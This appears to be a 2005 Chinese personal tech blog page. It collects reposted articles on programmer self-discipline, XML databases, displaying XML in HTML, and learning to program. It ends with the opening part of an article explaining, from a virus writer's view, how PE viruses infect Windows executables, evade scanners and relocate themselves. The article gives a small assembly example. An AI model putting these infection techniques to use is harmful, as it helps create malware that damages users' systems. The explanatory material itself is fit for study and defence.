|
|
用户名:chechunhui 笔名:蠡雪 地区: 广东-广州 行业:其他 |
| 日 | 一 | 二 | 三 | 四 | 五 | 六 |
本空间为个人第一空间,主要用来贴一些技术文档,蠡雪本人在MSN Spaces上的空间主要用来写点生活上的想法,欢迎光临:http://spaces.msn.com/members/cch728/
(转载)人工智能历史
(转载)程序员修身养性的十大原则
生活在这里 搞IT的似乎注定要“飘来飘去”,人员流动性应是所有行业中最高的,毕业七年,服务过4家公司,算是比较稳定的人了,在有些公司工作一年多就成了老员工了,应该说有时是不太守职业道德的,当我发现所在的公司并非自己的理想时,我的心就开始先飘了,人在心不在,这种状况导致工作的效果与效率都不理想,离开只是时间问题,我相信很多朋友也有过这种情况,这是不负责的,对公司与自己都不好,我们尽力做到在那里工作一天就尽责尽力一天, 打工也好创业也好,都要不断提高自己,凡事尽力做到问心无愧,我们要记住,我们现在就生活在此处此地,而不是遥远的其他地方。
停止猜想,面向实际 我们很多心理上的障碍,往往是没有实际根据的“想当然”造成的。面对问题,有些人喜欢猜想,而不是去调查事实与解决问题,比如项目经理早上因进度缓慢问题将你骂了一顿,然后你就因此而联想下去,心里在嘀咕,项目经理是不是对你有意见?是不是不看重你?这个项目如果做不好就完了等等诸如此类的猜想,其实项目经理只是就事论事,并不针对你个人,他是希望你去想方设法将进度跟上来,或加加班,或与同事一起互相帮助一下,而你却活在自己的猜测里久久不能摆脱,结果会越来越严重,所以无论面对任何困难或责备,你需要做的是面对实际,寻找问题所在,并设法解决问题,而不要去胡乱猜想。
暂停思考,多去感受 我对这一点的理解就是要劳逸结合,我们这个职业属于重型脑力劳动,我们经常长时间地思考,经常长时间地coding,有时因为一个BUG,我们日日夜夜冥思苦想,有时为了能让项目按进度完成,日以继夜地加班,都快变成了一台没有情感的机器,我建议朋友们偶尔暂停一下思考,花一些时间去观赏美景或美女,多聆听悦耳美妙的音乐,多去感受大自然的花草树木,休假时出趟远门旅游,如果身体允许,下雨天去踢场足球,我们应尽力让生活变得丰富多彩。
接受不愉快的情感 矛盾无处不在,再乐观的人也会有不愉快的时候,一个优秀的程序员应会处理各种各样的关系,工作上有与客户的关系,与市场人员的关系,与测试人员的关系,与客服人员的关系,与上司的关系,与同事的关系,生活中有与家人的关系,与朋友的关系,与陌生人的关系,我们无法要求所接触的每个人都是我们所想象的,在相处的过程中一定会产生不愉快的情绪,其实愉快与不愉快是相对而言的,同时也是相互存在的,恰当地处理便会相互转化,程序BUG出现了,你一时解决不了,测试人员会追着要你赶快搞定,你变得烦躁与恼火,不停地思索,不断地调试,终于结束了,这时你会有一种如释重负的感觉,心情也会变得愉快起来。
不要随意下判断 我们往往容易在别人稍有差错或失败之时,就马上下结论,这种方式容易与别人产生摩擦与冲突,结果自己也会烦恼与苦闷。对他人的态度和处理人际关系的正确做法应是:先不要对人或事下判断,先要说出你是如何认为的。这样对方会容易接受,往往你说完自己的看法后,对方也自然而然地知道你的结论。
不要盲目地崇拜偶像和权威 大多人都需要一个精神寄托的对象,这个对象的成就以及影响力也往往成为我们的追求目标,比如我曾崇拜周恩来,因为他的个人魅力,我曾崇拜张学友,因为他的歌唱得出神入化,我曾崇拜温伯格,因为他的书写得好,可见崇拜或喜欢一个人,总是有一个理由的,我们不能因为这个理由而全部肯定或接受这个对象的一言一语一举一动,那样会禁锢我们的头脑束缚我们的手脚,使我们失去独立思考的习性。
我就是我 我听过余世维博士的讲座,在他的观点中有一点是强调以我或我们为主,不要去看他们做什么,不要总说别人怎么样,而要关注我们能做什么,我们怎么样,出错了要敢于承认是我或我们的错,而不要将责任推到别人的身上。余博士的这个观点以及所引用的例子让阿蒙受益无穷,决心从我做起,从现在做起,不再怨天尤人,充分发挥自己的潜能与优势,竭尽全力做好自己能做的事情。
对自己负责 高考的成绩并不好,可以说与我要求的目标差得太远,大一的时候总活在不断地为自己辩护的状态之中,我有时认为失败的原因在家境不好,经济压力太大,使我不能专心学习,有时又将原因归于身体不好,影响学习……这是在逃避责任和现实,将自已的过错与失败都推到客观原因上,失败或错误的原因总是说也说不完,项目没有正常完成,是谁的错,是什么错?需求不明,设计不好,管理不佳,还是程序员的水平不高?有谁能站出来承担自己的那份责任?
正确地自我估计 无论在工作中还是社会上,我们每个人都占据着一个特定的位置,所以我们需要按这个位置的要求,去履行我们的权利与义务。在一个项目中,如果你是一个系统设计工程师,那么你就全心全力地去完成系统的概要设计与详细设计,并处理好与项目经理、系统分析员、软件开发人员之间的关系,把自己摆在准确的位置上,如果你不按照项目一致规定和大家公认的规范去做,那你将会受到项目其他人员的谴责和反对,也会使项目的管理变得混乱。所以正确地自我评估是很重要的,它可以让我们始终保持冷静,不再好高骛远,也不会骄傲自满或过分自卑,它让我们脚踏实地做事,认认真真做人。
十大终于写完了,感觉有一丝成就感,尽管有点教条主义的味道,但出发点应是好的,未来的程序员不应是只会埋头苦干的机器,我们需要生动有趣的生活来保持我们的创新能力。在此时抛出十大原则,目的是:当程序员朋友们从远方回来,从疯狂归来之时,能看到一些理性的思维与观点,并好好地自我评估,从我做起,从现在做起,去一步一个脚印地实现自己的梦想。
(转载)李开复:最昂贵的“人力资源经理”
(转载)给所有ActionScript初学者的建议
(转载)VC程序员之无法选择的命运
(转载)XML数据库有点悬
XML(Extensible Markup Language)日益成为重要的数据交换格式,它使得我们对信息存储有了新的方法—直接使用XML语言和使用以XML为基础技术的数据查询工具和数据处理工具。然而,这些工具看起来仍然悬而未决。
现在,一个XML数据库市场已经初具规模,以处理适应这种需要。XML数据库产品例如Ixiasoft公司出品的TextML服务器, Software AG公司的Tamino和XYZFind公司的XYZFind服务器,它们允许数据以XML方式提交,而且提供了XML为基础的查询语句,同时返回的数据也是用XML的格式。然而eWeek实验室(美国)的测试表明恰恰是由于程序数据是采用XML的格式,一个本地的XML数据库就不需要再另留位置以保存它们。
XML数据库竞争力不强
一般来说,XML数据库没有足够强大的科技力量与关系数据库(关系数据库具有数据结构化、最低冗余度、较高的程序与数据独立性、易于扩充、易于编制应用程序等优点,现在的数据库绝大多数是关系数据库,如SQLserver、DB2、Orical等等都是第三代的关系数据库)竞争,XML数据库缺乏多重管理、协同工作能力、规划能力、易用性,这些好处恰恰是大型关系数据库所拥有的优点。
缺乏明确的标准也是XML数据库领域的一个问题。XPath查询句法不支持组、排列和摘要数据等功能,更丰富的XQuery查询语言仍然仅仅是一个设计表格。更有甚的是XQuery正式化的时候,它仍然不支持数据更新、插入和删除等功能。
对于已经采用XML数据库的用户来说,这意味着他们需要增加投入资金直到这些问题被提出来解决,这是由于XML数据库的查询语言和编程界面都是销售商拥有所有权(由于版权原因别人不可以改动)。
技术发展继续
XML数据库的主要的优点是他们的自由形态及可面向存储的文件,没有必要在存储他们前指定XML文件的结构。
可以很有把握地说,在接下来的几年里面,所有的数据库产品都需要能够快速地用XML格式语言进行数据的校验、存储和恢复。值得关注的问题是传统的关系数据库是不是可以拥有XML快速的特色,还是新的XML数据库是不是可以拥有传统的关系数据库所擅长的更好的可测量性、可规划性、可靠性和易管理性。
基于历史和经验的考虑, 传统型的关系数据库将会完全打败XML数据库。在1996和1997年, 我们看到关系数据库的生产商Oracle公司,IBM和Informix软件公司(现在IBM的一部分)把对象数据库和Java语言特征加到他们的关系数据库与纯对象数据库进行竞争。在1998和1999年,这几家公司增加了许多可扩展性,如可以存储空间信息、文章、图像、HTML和时间等数据到他们的数据库里。在市场上基本上封杀了那些只可以存储一种数据形式的客户数据库。
现在, 关系数据库生产商正在利用以前的产品,那些产品已经增加了支持对象、可扩展性、Java和文档处理等功能,并且结合了他们对XML技术深入研究的成果和对XML查询语言的了解。很长一段时间,我们都认为关系引擎是很适合XML数据和非XML数据的。
竞争激烈
Oracle、IBM 和Sybase等数据库系统公司都把XML数据类型加到了他们的数据库之中,这样就可以把XML数据存储到他们原来的数据库系统中。这些提供商的数据库产品,连同微软的SQLServer允许数据库管理员在输入XML数据时对XML进行分析,并且可以存储这些信息于一系列关系表中,这些产品也允许恢复XML型的数据。
而且IBM、Oracle和微软都公开声称他们的XML将让数据库运行速度更快,能提供更好的网络服务。
微软将用代号为Yukon的SQL Server来冲杀企业级市场。Yukon是基于XML的,且是微软的.net网络服务的重要部分。而且Yukon的一个最重要的功能是能建立多语言的数据库。微软对下一代SQL Server数据库的推出时间相当保密,只是称一切都在按计划进行。但未说明具体的时间。Yukon可能将于2003年上半年推出,而在2002年第二季度,Yukon的beta测试版有望推出。微软在推出的系统网络软件中都增加了XML标准,如2001年10月份推出的SQLXML 2.0软件。
Oracle和IBM也将在XML战中争抢市场。Oracle公司就在最近推出与XML有关的产品XDB(XML数据库支持)。
而IBM则称该公司已经领先Oracle和微软,并推出与XML有关的重要的数据库产品,而且采用了所有正确的编程标准和协议。IBM强调的是其DB2和XML Extender的结合将提供同Oracle公司的XDB类似的技术。目前微软、IBM和Oracle公司数据库核心都是采用的XQuery标准。
等待新技术出现
现在竞争的结果就是, 凌乱的和不完整的结构数据被XML数据库处理得很好。围绕着纯文档的存储来组织应用程序,例如指南,手册或网页,我们将发现原本的XML数据库就是正确的网络工具。
在短期时间里,那些能经常与文本打交道的应用程序将会发现XML数据库非常适合他们。另外,我们推荐用户多研究一下关系数据库提供商们正在做什么,现在每个星期都有新的技术被运用进来。(责任编辑:王岳)
(转载)在 HTML中显示XML数据的策略
| |
|
摘要: HTML 是目前常用的网页标识语言,而 XML 的优点在于能有效地存贮各种形式的数据,它克服了 HTML 表达能力差的缺点。本文对在一个 HTML 文档中插入 XML 数据,并在 IE5 浏览器中显示的两种常见的策略(数据绑定、 DOM )进行了深入的探讨。 关键词: HTML XML DOM DSO 数据绑定 XML 的全名是 eXtenxible Markup Language (可以延伸或扩展的标记语言),它的语法类似 HTML ,都是用标签来描述数据。 HTML 的标签是固定的,我们只能使用、不能修改; XML 则不同,它没有预先定义好的标签可以使用,而是依据设计上的需要,自行定义标签。所以在电子商务的网络时代,用 XML 来组织数据,再用 HTML 页面来显示,将是设计网页的新方向。 本文主要对两种在 HTML 中存贮并显示 XML 文档数据的策略(数据绑定、 DOM )进行探讨。 一、 数据绑定( Data Binding )技术 数据绑定技术适用于结构规则的 XML 文档,它对 XML 文档的数据用类似于关系数据库的技术进行处理。 例如,有一个关于产品目录的 XML 文档( product.xml )结构如下: …… <CATALOGUE> <PRODUCT InStock=”yes”> <PRODUCTID>00001</PRODUCTID> <PRODUCTNAME Supplier=”fuller”> football </PRODUCTNAME> <PRICE> 50</PRICE> …… </PRODUCT> …… </CATALOGUE> 按下面介绍的两个步骤,可将 XML 文档和 HTML 文档绑定,并在 IE5 中显示 XML 文档的数据。 1. 把一个 XML 文档连接到一个 HTML 文档中 方法一:将整个 XML 文档插入至 HTML 文档中,其形式如下: <HTML> <HEAD> <TITLE> product decription</TITLE> </HEAD> <BODY> <XML ID=”product”> <?XML version=” …… ‘ 将以上的 product.xml 文档的内容插入至该处 </XML> …… <BOLY> </HTML> 方法二:只将一个对 XML 文档的引用插入至 HTML 文档中,其形式如下: <HTML> <HEAD> <TITLE> product decription</TITLE> </HEAD> <BODY> <XML ID=”product” SRC=”product.xml”> </XML> ‘ 用 src 指出引用的 XML 文档源 …… </BODY> </HTML> 方法二的好处在于:它将 XML 文档的数据和 HTML 的显示格式分开,便于用户进行维护。而且,多个 HTML 文档可以共享一个 XML 文档。 当 IE5 打开一个 HTML 文档时,其内置的 XML 处理器会读取和分析页面中已连接的 XML 文档,然后产生一个数据源对象( DSO ,全称是 Data Source Object ),以便存贮和读取数据。 DSO 在存贮 XML 文档中的数据时,会将元素解释成记录和字段的集合,并自动抽取 XML 元素的数据和处理所有的显示细节。 2 .将标准的 HTML 元素(例如 TABLE 、 SPAN 等)和 XML 元素绑定 方法一:表数据绑定,即将 HTML 的 TABLE 元素和 XML 数据绑定,以便在 IE5 中用表格的形式一次性地显示整个 XML 文档的数据。 其形式如下: …… <TABLE DATASRC=”#PRODUCT” BORDER=” <THEAD> <TH> productid</TH> …… </TH> </THEAD> ‘ 显示表格的标题 <TR ALIGN=”center”> <TD><SPAN DATAFLD=”productid”></SPAN></TD> ‘ 在表格单元格中显示 productid 的内容 …… </TR> </TABLE> …… 方法二:单一记录数据绑定,即将 HTML 元素(如 SPAN 、 BUTTON 或 LABEL 等非表格元素)和 XML 文档中的一个单一的字段进行绑定,以便在 IE5 中一次只显示一条记录的内容。此时,为了浏览方便,最好在页面中增加关于记录的导航按钮。 其形式如下: …… <SPAN STYLE=”font-style:italic”> ProductID</SPAN> ‘ 显示标题 <SPAN DATASRC=”#product” DATAFLD=”productid” STYLE=”font-weight:bold”></SPAN> ‘ 显示 productid 的内容 …… <BUTTON ONLICK=”product.recordset.moveprevious(); if (product.recordset.bof) product.recordset.movenext()”> <back; </BUTTON> ‘ 产生一个向前导航的按钮 …… 注意:当用数据绑定技术显示 XML 文档数据时,如果 XML 元素中有参数,则 DSO 会将该元素处理成层次型的记录。例如: product.xml 文档中的“ PRODUCTNAME ”元素有一个“ Supplier ”参数,则 DSO 会将该元素处理成下面的形式: <PRODUCTNAME> <Supplier> fuller</Supplier> <$TEXT>football</$TEXT> </PRODUCTNAME> 此时,必须用 $TEXT 作为字段名来读取“ football ”数据,其形式如下: …… <TABLE DATASRC=”#product” DATAFLD=”productname”> <TR> <TD><SPAN DATAFLD=”$TEXT”></SPAN></TD> <TD><SPAN DATAFLD=”Supplier”></SPAN></TD> </TR> <TABLE> …… 二、 DOM 技术 1 . DOM 技术的特点 DOM 是 XML Document Object Model 的简称。它是 XML 文档和 HTML 文档的接口,其中包含一系列代表 XML 文档不同部件的程序对象。利用这些对象的属性和方法,并使用脚本语言(如 VBScript 或 JavaScript 等)编制成脚本后,就可以在一个 HTML 页面中显示 XML 文档的数据。虽然利用 DOM 技术比数据绑定技术复杂,但它可以处理及显示结构规则或不规则的 XML 文档中任意部件(如元素、参数、处理指示、注释、实体和标记等)的数据内容, 和数据绑定技术类似,要使用 DOM 技术,必须首先对 XML 文档源进行引用: <XML ID=”product” SRC=”product.xml”></XML> ‘ 对 XML 文档源的引用 接着,就可以利用 DSO 的 XMLDocument 成员使用 DOM : Document=product.XMLDocument 作为 W 当 DOM 对 XML 文档进行分析之后,不管这个文档有多简单或者多复杂,其中的信息都会被转化成一棵对象节点树(如图 1 )。在这棵节点树中,有一个名为 Document 根节点,所有其他的节点都是根节点的后代节点。 DOM 实际上是利用对象来把文档模型化,这些模型不仅描述了文档的结构,还定义了模型中对象的行为。换句话说,图 1 中的节点不是数据结构,而是对象。 DOM 接口利用对象中包含的方法和属性,就可以访问、修改、添加、删除、创建树中的节点和内容。 在 DOM 接口规范中,有四个基本的接口: Document , Node , NodeList 以及 NamedNodeMap 。其中, Document 接口是对文档进行操作的入口。它是从 Node 接口继承过来的。 Node 接口是其他大多数接口的父类,象 Documet , Element , Attribute , Text , Comment 等接口都是从 Node 接口继承过来的。 NodeList 接口是一个节点的集合,它包含了某个节点中的所有子节点。 NamedNodeMap 接口也是一个节点的集合,通过该接口,可以建立节点名和节点之间的一一映射关系,从而利用节点名就可以直接访问特定的节点。 图1 2 .利用 DOM 对 XML 文档的数据进行处理 (1) 对 XML 某个元素的数据进行处理 其形式如下: productid.innerText=DocumentElement.childNodes(0).text; ‘ 取得 productid 的数据,并将它赋给 HTML SPAN 元素的 innerText 属性 <SPAN ID=”productid” STYLE=”font-weight:bold”></SPAN> ‘ 显示 productid 的数据 (2) 对 XML 文档中同名元素的所有数据进行处理 其形式如下: Nodelist=Document.getElementsByTagName(“productname”); ‘ 取得所有 productname 的数据,并形成一个 Nodelist 集合 For(i=0;i<Nodelist.length;++i) ResultHTML+=Nodelist(i).xml+”\n\n”; ResultDiv.innerText=ResultHTML; ‘ 用循环语句显示所有 productname 的数据 (3) 对 XML 元素的参数数据进行处理 其形式如下: NamedNodeMap=Document.DocumentElement.childNodes(0).attributes; ‘ 取得所有 product 的参数,并形成一个 NamedNodeMap 集合 For(i=0;i<NamedNodeMap.length;++i) Alert(NamedNodeMap.getNameItem(i).nodeValue); ‘ 用循环语句显示所有 product 参数的数据 如果在参数中包含有实体,则应采用下列形式对 XML 的实体和实体中的标记进行访问: Attribute=Document.DocumentElement.childNodes(0).attributes(0); ‘ 取得 product 元素的参数 If(attribute.datatype==”entity”) ‘ 检测参数的类型是否为 entity 类型 Entity=Document.doctype.entities.getNameItem(attribute.nodeValue); ‘ 取得 XML 文档的 DTD 声明中的某个实体的名字 DisplayText=Entity.attributes.getNameItem(“SYSTEM”).nodeValue; ‘ 取得该实体中 system 的源文件数据 NotationName=Entity.attributes.getNameItem(“NDATA”).nodeValue; ‘ 取得该实体中 NDATA 标记的名字 三、结束语 目前,有三种途经可以在 IE5 中显示 XML 文档的数据:样式单、数据绑定及 DOM 。样式单的特点是单独设计一个用于处理显示格式的样式单( CSS 样式单或 XSL 样式单),然后在 XML 文档中对样式单进行引用;而后面两种技术的特点是利用 HTML 文档对 XML 存贮的数据进行显示,这样,可以将 XML 和 HTML 相结合,充分利用 XML 和 HTML 各自的优点。 参考书目: (1) Natanya Pirts 编 . XML 轻松进阶 . 电子工业出版社 . 2000 年月 1 月 (2) Jake Sturm 编 . XML 解决方案 . 北京大学出版社 . 2001 年 4 月 |
软件人员的生涯规划(作者:蔡学镛)
- 作者: chechunhui 2005年09月7日, 星期三 22:17 回复(0) | 引用(0) 加入博采
再论香鸡排(作者:蔡学镛)
一个 Java 信仰者的告诫(作者:蔡学镛)
程序与香鸡排(作者:蔡学镛)
学习,是一条漫长的道路(作者:蔡学镛)
你说挑书就像挑老师一样,我说你乱有思想的(作者:蔡学镛)
如何进入程序设计的领域(作者:蔡学镛)
这一阵子,软件、网络大红,许多人对程序设计开始感兴趣,我收到好一些 Sleepless in Java专栏读者的来信,不少读者共同的问题是:如何进入程序设计的领域?所以我选这 个主题当作 Sleepless in Java 专栏「复刊」的第一篇文章。
写程序是很有趣的事,可以把自己的想法付诸实行。写程序的工具很简单,只要有一部PC,适当的开发环境,就可以上工了。这样有限的工具却可以创造无限的可能,这也正是程序 设计迷人的地方。只要你能力够,你可以将你脑海中的创意写成程序,变成一套软件。
培养程序能力,不是一蹴可及的,下面提供我的一些建议,希望对有志进入程序设计领域的你有所帮助。
培养兴趣
把程序设计当成兴趣可以让你学得更快乐,学习效果自然会更好。在我到一个单位面试时,主管看了我的履历之后问我:「你怎么有这么多时间学会这么多东西、做这么多事?」 我的回答是:「把工作、学习、和娱乐结合在一起,时间就会是别人的三倍。」
我承认我很幸运,可以把程序设计当作赚钱的工作,学习的题材,以及茶余饭后的休闲活动。不是每个人都像我这般幸运,但是我相信至少大家都可以把它当成兴趣。相信我, 调整你的心境,把它当成是兴趣,而非苦差事,你非发现你的「程序功力」与日俱增。
慎选程序语言
慎选程序语言很重要,一开始就学太难的程序语言很容易让你遭遇到挫折而放弃。你可以挑比较容易且有趣的语言下手,建议您可以从下面的语言中择一:
VB:简单,好用,书籍多。
Java:比VB稍难,比C/C++简单,书籍多,用途非常广,相当有前途。可以当作学习C++的跳板。
Python:简单,好用,各个平台都支持(包括Windows,Linux,MacOS,BeOS,...)。国外很红,国内较少人用。原文书不少, 但中文书目前只有一本(欧莱礼出版)。我预期 Python 会是下一个热门的程序语言。
这三个语言只是我给各位的建议,你也可以多听听别人的意见。在选定一个程序语言之后,就要执着,不可以很快放弃,又改学另一个程序语言,否则永远都只懂皮毛。有句谚语是 这么说的:「A jack of all trades is master of none」。如果你号称会C++、Java、…等十种程序语言,只不过每种程序语言都停留在Say Hello的阶段,相信面谈主管很快就会 对你 Say Goodbye。
当你学精某程序语言,然后想再学另一个程序语言,你会发现有了前一个程序语言札实的根基,学任何新的程序语言都很快。
使用适当的开发工具
现在RAD工具软件盛行,Visual Basic、Delphi、JBuilder、VisualAge、VisualCafe都是。有了RAD工具,只要「拉一拉,选一选」程序就完成一半了。许多硬底子的程序员 颇不以为然,认为初学者使用RAD工具不是好习惯,不过我倒不这么认为。我认为RAD工具可以降低初学者学习的门槛,提高兴趣。只是,在你学会「拉一拉,选一选」的简单步骤之后, 应该要找机会精进自己,弄懂内部的机制,不然不仅会有一种不踏实的感觉,甚至有许多程序会写不出来。我再强调一次:RAD可以当初学者入门的工具,但小心不要使它变成让你 停滞不前的借口。
另外也要学会使用开发工具所附的诸多功能(特别是除错功能)。许多人买了昂贵的 Enterprise 版开发工具,却只用到copy-paste功能,那么这套开发工具和 Windows 所附的 记事本就没有两样了。建议您开始使用一套新的开发工具前先花些时间把 User Guide 翻一翻。
现在许多开发工具都有免费版本可以下载,初学者不妨多多利用。
多读好书,少上课
大量阅读好书,是精进自己的不二法门。在这种快餐时代,许多人没耐心读书,反而喜欢到处上课,所以现在到处都是计算机班。如果遇到厉害的好老师,当然上过他(或她)的课 会收获很大,只是目前好老师的比例实在不高(虽然我自己也在开 Java/Enterprise Java/Java Swing 的课,但我还是得这么说)。我曾在网络上看到有人说:「没听过补习班教 出什么程序高手」,这倒也有几分真实性。不过一方面要归咎老师之外,一方面也要归咎学生,因为我发现通常上课的学生会在家里读书和写程序练习的比例不高。
相较于上课动辄花费上万元的高代价,买书只需要区区几百上千,划算多了,更何况书上的内容又比上课来得多且详细。不过「买书容易,看书难」。怕自己偷懒的话,找志同道合 的朋友组织「读书会」,彼此加油打气,还可以互相切磋。最好是像我前面提到的:把它变成兴趣。
加强英文阅读能力
加强英文和崇洋无关,而是有它实际的价值。许多信息都是要直接看英文的资料,因为没有中文版可看。
「可是我的英文很烂!」
这不是理由。没人生下来就能阅读英文,都是一点一点累积起阅读能力的。给自己一个机会,找一本单字文法都比较简单、且页数又少的书籍下手,很快地,你会发现技术书籍的 单字就是哪几个在重复出现,阅读这样的书一点都不难。
请注意:原文书的写作风格也有相当大的差异,有的书的确是不好读。所以,如果你刚开始要尝试阅读原文书,不要挑到像 Bjarne Stroustrup 所写的 The C++ Programming Language 这类难懂的书……尽管它是经典。
问人之前,先问自己
遇到问题,可以到国内外的程序设计相关讨论区去请教别人,如果态度谦逊,且问题叙述清楚,相信许多有经验的前辈会很乐于参与讨论。不过,凡是遇到问题就发问,这不是好事, 因为你会因此越来越依赖别人,而失去了自我解决问题的能力。自己应该尝试着查书、写程序测试、甚至阅读原始码,来找出答案。如此一来,真的没办法而请教别人时,也才能 比较深入地讨论。
多写程序
学程序设计不可以只看书,将随书光盘的程序执行一次,就认为自己已经学会了。应该开始写一些程序,且由小到大,由简单到复杂。找一些有趣的题目(比方说:计算器,踩地雷, 小画家,俄罗斯方块),可以提升写程序的动力。
我看到许多学生大一的程序作业都是copy同学的,失去了练习的机会。等到二年级之后,想开始写程序,却写不出来了。初学程序设计的阶段,应该给自己多一些机会写程序。
向上延伸,向下延伸,向旁延伸
当你发现你已经可以掌握此程序语言之后,你可以选择:
向上延伸:学习对象导向分析设计、Design Patterns、以及软件工程。让自己具有做大型计划的能力。
向下深入:深入了解内部底层的机制,例如操作系统(甚至硬件)内部。
向旁延伸:学习不同的API,例如:多媒体、数据库、企业运算…。
另外,数据结构、算法等基础也很重要。
结论
一分耕耘,一分收获,用对方法,持之以恒。每半年检阅自己这段期间以来的进步,相信你也会很高兴地说「我做到了」!
--------------------------------------------------------------------------------------------
李啸林的补充:
蔡先生是位编程高手。他写的这篇文章我已经看过许多遍。每一次都有新的启发。在这里我有一点补充,就是关于英语,也许在十年前学计算机不学英语是不可思议的事情,但是现在不同了,随着中国计算机书籍市场的不断扩大,几乎所有著名的计算机书都有了中译本,而且同步的速度也在不断加快。除非你想成为和蔡先生一样的顶尖高手(这是一定要会英语),一般的编程应用可以不用学英语。与其把大量时间花费在拗口难懂的英语学习上,还不如踏踏实实的编几个程序(当然,如果你喜欢英语,又当别论)。我这里说点题外话,其实搞普及性,全民英语教育,是中国教育最大失误之一。
(转载)恶意代码的亲密接触——病毒编程技术(上)
* Windows平台和PE文件格式
Windows平台是当今最为流行的桌面系统,在服务器市场上,也占有相当的份额。其可执行文件(普通的用户程序、共享库以及NT系统的驱动文件)采用的是PE(Portable Executebale)文件格式。病毒要完成各种操作,在Windows系统上一般都是通过调用系统提供的API进行的,以保证在各种Windows版本上都能运行,因此读者应对基本的API比较熟悉。病毒要实现对宿主程序的感染,就不可避免地要修改PE文件,因此要求读者对PE文件格式有一定的了解,PE文件格式是一种复杂的文件格式,本文并不准备详细讲述PE文件格式,仅作在必要处简单的介绍,如必要可进一步参阅相关资料[1][2][3]。PE文件结构和头部部分主要域的格式如下图1所示。由图1可见,PE文件是由文件头、节表、包含各种代码和数据的节构成。文件头中定义了PE文件的引入函数表、引出函数表、节数目、文件版本、文件大小、所属子系统等相关的重要信息。节表则定义了实际数据节的大小、对齐、内存到文件如何进行映射等信息。后面的各个节则包含了实际的可执行代码或数据。
图1 PE文件结构及部分主要域的定义
* PE病毒技术剖析
典型的PE病毒修改PE文件,将病毒体代码写入PE文件文件中,更新头部相关的数据结构,使得修改后的PE文件仍然是合法PE文件,然后将PE入口指针改为指向病毒代码入口,这样在系统加载PE文件后,病毒代码就首先获取了控制权,在执行完感染或破坏代码后,再将控制权转移给正常的程序代码,这样病毒代码就神不知鬼不觉地悄悄运行了。染毒后的PE文件运行过程一般图2所示:
图2 染毒后的程序执行流程
这只是最常见的执行流程,事实上,随着反病毒技术的进展,更多的病毒并不是在程序的入口获取控制权,而是在程序运行中或退出时获取控制权,以逃避杀毒软件的初步扫描,这种技术又被称为EPO技术,将在本文后半部分进行介绍。病毒代码一般分成几个主要功能模块:解码模块、重定位模块、文件搜索模块、感染模块、破坏模块、加密变形模块等,不同的病毒包含模块不一定相同,比如解码、加密变形等就是可选的;但文件搜索和感染模块是几乎每个PE病毒都具备的,因为自我复制我传播是病毒的最基本的特征。有些病毒还可能实现了其他的模块,比如Email发送、网络扫描、内存感染等。一段典型的PE病毒代码执行流程大致如下图3所示:
图3 一段典型的病毒代码执行流程
从原理上看病毒非常简单,但实现起来还有不少困难,其实如果解决了这些技术难点,一个五脏俱全的病毒也就形成了,本文后面将从一个病毒编写者的角度就各个难点分别予以介绍。病毒可采用的技术几乎涉及到Windows程序设计的所有方面,但限于篇幅,本文亦不可能全部介绍,本文将重点介绍Win32用户模式病毒所常用的一些技术。
* 编程语言
任何语言只要表达能力足够强,都可用于编写PE病毒。但现存的绝大部分PE病毒都是直接用汇编编写的,一方面是因为汇编编译后的代码短小精悍,可以充分进行人工优化,以满足隐蔽性的要求;另外一方面之所以用汇编是因为其灵活和可控,病毒要同系统底层有时甚至是硬件打交道,由于编译器的特点不尽相同,用高级语言实现某些功能甚至会更加麻烦,比如用汇编很方便地就可以直接进行自身重定位、自身代码修改以及读写IO端口等操作,而用高级语言实现则相对烦琐。用汇编还可以充分利用底层硬件支持的各种特性,限制非常少。但是用汇编编写病毒的主要缺点就是编写效率低,加上使用各种优化手段使得代码阅读起来相当困难,不过作为一种极限编程技术,对病毒作者而言,这些似乎都已经不再重要。本文假设读者熟悉汇编语言,各种举例使用Intel格式的汇编代码,编译器可使用MASM或FASM进行编译,由于汇编语言表述算法较为不便,因此算法和原理性表述仍然采用C语言。在讲述各种技术时,部分代码直接取自病毒Elkern的源代码,该病毒在2002年曾经大规模流行,其代码被收录于著名病毒杂志29A第7期中,有兴趣的读者可参阅其完整代码。
* 重定位
病毒自身的重定位是病毒代码在得以顺利运行前应解决的最基本问题。病毒代码在运行时同样也要引用一些数据,比如API函数的名字、杀毒软件的黑名单、系统相关的特殊数据等,由于病毒代码在宿主进程中运行时的内存地址是在编译汇编代码时无法预知的,而病毒在感染不同的宿主时其位于宿主中的准确位置同样也无法提前预知,因此病毒就要在运行时动态确定其引用数据的地址,否则,引用数据时几乎肯定会发生错误。对于普通的PE文件比如动态链接库而言,在被加载到不同地址处时由加载器根据PE中一个被称为重定位表的特殊结构动态修正引用数据指令的地址,而重定位表是由编译器在编译阶段生成的,因此动态链接库本身无需为此做任何额外处理。病毒代码则不同,必须自己动态确定需引用数据的地址。比如一段病毒代码被加载在0x400000处,地址0x401000处的一条语句及其引用的数据定义如下所示,相关地址是编译器在编译时计算得到的,这里假设编译时预设的基地址也是0x400000:
401000:
mov eax,dword ptr [402035]
......
402035:
db "hello world!",0
如果病毒代码在宿主中也加载到基地址0x400000,显然是能够正常执行的,但如果这段代码被加载在基地址0x500000运行时则出错,对病毒而言,这是大多数时候都会遇到的情况,因为指令中引用的仍然是0x402035这个地址。如果病毒代码不是在宿主进程中而是作为一个具有重定位表的独立PE文件运行,正常情况下由系统加载器根据重定位表表项将 mov eax,dword ptr [402035]中的0x402035修改为正确值0x502305,这样这句代码就变成了mov eax,dword ptr [5402035],程序也就能准确无误地运行了。不过很可惜,对在其它进程内运行病毒代码而言,必须采取额外的手段、付出额外的代价感染宿主PE文件时就及时加以解决,否则将导致宿主进程无法正常运行。
至少有两种方法可以解决重定位的问题:
A)第一种方法就是利用上述PE文件重定位表项的特殊作用构造相应的重定位表项。在感染目标PE文件时,将引用自身数据的需要被重定位的地址全部写入目标PE文件的重定位表中,如果目标PE无任何重定位表项(如用MS linker的/fixed)则创建重定位表节并插入新的重定位项;若已经存在重定位表项,则在修改已存在的重定位表节,在其中插入包含了这些地址的新表项。重定位的工作就完全由系统加载器在加载PE文件的时候自动进行了。重定位表项由PE文件头的DataDirectory数据中的第6个成员IMAGE_DIRECTORY_ENTRY_BASERELOC指向。该方法需要的代码稍多,实现起来也相对比较复杂,另外如果目标文件无重定位表项(为了减小代码体积,这种情况也不少见),处理起来就比较麻烦,只有用高级语言编写病毒才常用该种方法,在一般的PE病毒中很少使用。
